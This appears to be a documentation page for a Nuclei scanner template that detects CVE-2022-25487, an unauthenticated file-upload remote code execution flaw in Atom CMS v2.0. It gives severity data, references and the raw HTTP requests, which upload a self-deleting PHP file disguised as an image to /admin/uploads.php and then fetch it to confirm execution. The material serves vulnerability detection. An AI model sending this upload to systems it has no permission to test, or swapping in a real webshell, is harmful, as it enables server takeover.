Atom CMS v2.0 - Remote Code Execution
ID: CVE-2022-25487
Severity: critical
Author: theamanrawat
Tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload
Description
Section titled “Description”Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
YAML Source
Section titled “YAML Source”id: CVE-2022-25487
info: name: Atom CMS v2.0 - Remote Code Execution author: theamanrawat severity: critical description: | Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: Fixed in version Atom CMS v2.1 reference: - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html - https://github.com/thedigicraft/Atom.CMS/issues/256 - https://nvd.nist.gov/vuln/detail/CVE-2022-25487 - https://github.com/ARPSyndicate/cvemon - https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-25487 cwe-id: CWE-434 epss-score: 0.78706 epss-percentile: 0.98263 cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: thedigitalcraft product: atomcms tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fieluploadvariables: string: "CVE-2022-25487"
http: - raw: - | POST /admin/uploads.php?id=1 HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041
-----------------------------30623082103363803402542706041 Content-Disposition: form-data; name="file"
-----------------------------30623082103363803402542706041 Content-Disposition: form-data; name="file"; filename="{{randstr}}.php" Content-Type: image/jpeg
<?php echo md5("{{string}}");unlink(__FILE__);?> -----------------------------30623082103363803402542706041-- - | GET /uploads/{{filename}} HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: word part: body words: - '{{md5(string)}}'
extractors: - type: regex name: filename group: 1 regex: - SET avatar = '(.*?)' internal: true# digest: 490a0046304402201f8ca3634bde82706c24a47c89614f2f7de12d56b5e1e81f780850b4ee093c9d02204c6b94bbdea2ea83bd16a4e167f980f1f473fa0e8a864599682b3c4936bbd7c5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25487.yaml"